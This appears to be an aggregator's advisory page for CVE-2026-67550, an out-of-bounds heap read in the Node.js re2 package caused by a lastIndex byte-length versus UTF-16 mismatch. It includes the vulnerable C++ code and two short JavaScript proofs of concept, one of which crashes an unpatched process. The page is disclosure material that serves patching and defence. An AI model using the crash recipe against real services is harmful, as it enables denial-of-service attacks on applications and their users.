🛡️ CVE-2026-67550 — re2

🟡 CVSS 5.7 — Medium ✅ No Known Exploit CWE-125 NVD
5.7
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

re2: Out-of-bounds heap read in exec/test/match via attacker-influenced lastIndex on a non-ASCII subject → uncatchable process crash (DoS)

Summary

re2 validates the user-settable lastIndex against the subject's UTF-8 byte length but then uses it as a UTF-16 code-unit count to walk the subject buffer, with no bounds check. For any non-ASCII subject, the byte length is larger than the true character count, so a lastIndex between those two values passes validation while pointing past the end of the buffer. The subsequent walk reads out of bounds. With a large subject the read marches into unmapped memory and the process dies with SIGABRT/SIGSEGV — an uncatchable crash (try/catch cannot stop it), i.e. a denial of service for any worker/process that runs the match. In some cases the out-of-bounds bytes are copied into the returned value (a bounded, best-effort heap information leak).

Root cause

The subject wrapper stores the UTF-8 byte length in StrVal::length:

  • lib/addon.cc:200 auto argLength = utf8Length(s, isolate); — UTF-8 byte count
  • lib/addon.cc:209 lastStringValue.reset(buffer, argSize, argLength, startFrom, false, isAscii);

setIndex then validates the (UTF-16) lastIndex against that byte length and walks the buffer by character count:

```cpp

// lib/addon.cc:229

void StrVal::setIndex(size_t newIndex) {

isValidIndex = newIndex <= length; // length == UTF-8 BYTE length, not UTF-16 length

if (!isValidIndex) { index = newIndex; byteIndex = 0; return; }

...

// addon.cc:263

byteIndex = index < newIndex

? getUtf16PositionByCounter(data, byteIndex, newIndex - index)

: getUtf16PositionByCounter(data, 0, newIndex);

index = newIndex;

}

```

getUtf16PositionByCounter reads data[from] and advances by the UTF-8 char size with no check of from against the buffer size:

```cpp

// lib/wrapped_re2.h:264

inline size_t getUtf16PositionByCounter(const char *data, size_t from, size_t n) {

for (; n > 0; --n) {

size_t s = getUtf8CharSize(data[from]); // <-- OOB read once from passes the buffer end

from += s;

if (s == 4 && n >= 2) --n;

}

return from;

}

```

lastIndex is user-settable to any positive integer (capped only at >= 0, no upper bound):

```cpp

// lib/accessors.cc:166

NAN_SETTER(WrappedRE2::SetLastIndex) {

...

int n = value->NumberValue(...).FromMaybe(0);

re2->lastIndex = n <= 0 ? 0 : n; // no upper bound relative to the subject

}

```

For an ASCII subject the byte length equals the UTF-16 length, so the guard is correct — this only triggers on non-ASCII subjects. The out-of-bounds read happens inside prepareArgument for any global/sticky regex, reached by exec, test, String.prototype.match, replace, and split.

Proof of concept

Minimal (AddressSanitizer, deterministic OOB read):

```js

const RE2 = require('re2');

const re = new RE2('a', 'y'); // sticky; 'g' also works

re.lastIndex = 3; // 3 <= byteLen(4) passes the guard; only 2 real chars exist

re.exec('éé'); // U+00E9 = 2 bytes each

```

Built with -fsanitize=address, this aborts with:

```

ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1

#0 getUtf16PositionByCounter wrapped_re2.h:268

#1 StrVal::reset addon.cc:277

#2 WrappedRE2::prepareArgument addon.cc:209

#3 WrappedRE2::Exec exec.cc:17

```

The overflowed region is the subject buffer allocated by node::Buffer::New at addon.cc:205.

Real-world impact on the shipped prebuilt binary (no ASAN) — uncatchable crash:

```js

const RE2 = require('re2');

const s = '中'.repeat(40000000); // UTF-16 length 40M, UTF-8 bytes 120M

const re = new RE2('a', 'y');

re.lastIndex = Buffer.byteLength(s) - 1; // passes the byte-length guard, far exceeds real char count

re.exec(s); // walks into unmapped memory -> SIGSEGV (exit 139)

```

try { ... } catch (e) {} around the call does not prevent termination — it is a native fault, not a JS exception. Validated on a clean npm install [email protected] (latest): stock prebuilt → SIGSEGV; ASAN build → the heap-buffer-overflow read above.

Impact

  • Denial of service (primary): an uncatchable native crash that terminates the Node process/worker. Reachable remotely and without authentication wherever an application (a) uses a global or sticky RE2, (b) applies it to a non-ASCII subject, and (c) sets lastIndex from attacker-influenced data (e.g. resuming a scan/pagination at a client-supplied offset).
  • Information disclosure (secondary, best-effort): the out-of-bounds byteIndex can cause adjacent heap bytes to be copied into the returned value (e.g. the leading segment of a replace result). This is bounded and unreliable — the subject buffer is calloc-allocated (zero-filled) and the over-read distance depends on interpreting out-of-bounds bytes as UTF

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity none, availability high.

Weakness class

CVE-2026-67550 is classified as CWE-125: Out-of-bounds Read. The code reads past the limits of a buffer, exposing adjacent memory contents or crashing the process.

Affected software

CVE-2026-67550 is recorded against 2 packages.

  • re2
  • unknown

Timeline and source

Published on 31 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity Medium
CVSS Score 5.7
CVSS Vector CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H
CWE CWE-125
Public Exploit ✅ No
Source NVD
Published 2026-07-31
Updated 2026-08-12
Modified 2026-07-31
Fix URL N/A

Affected Packages

Software From version Fixed in
re2
unknown

Similar Threats

Vulnerability Monitoring

Track new vulnerabilities in re2

CVE-2026-67550 is rated CVSS 5.7 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.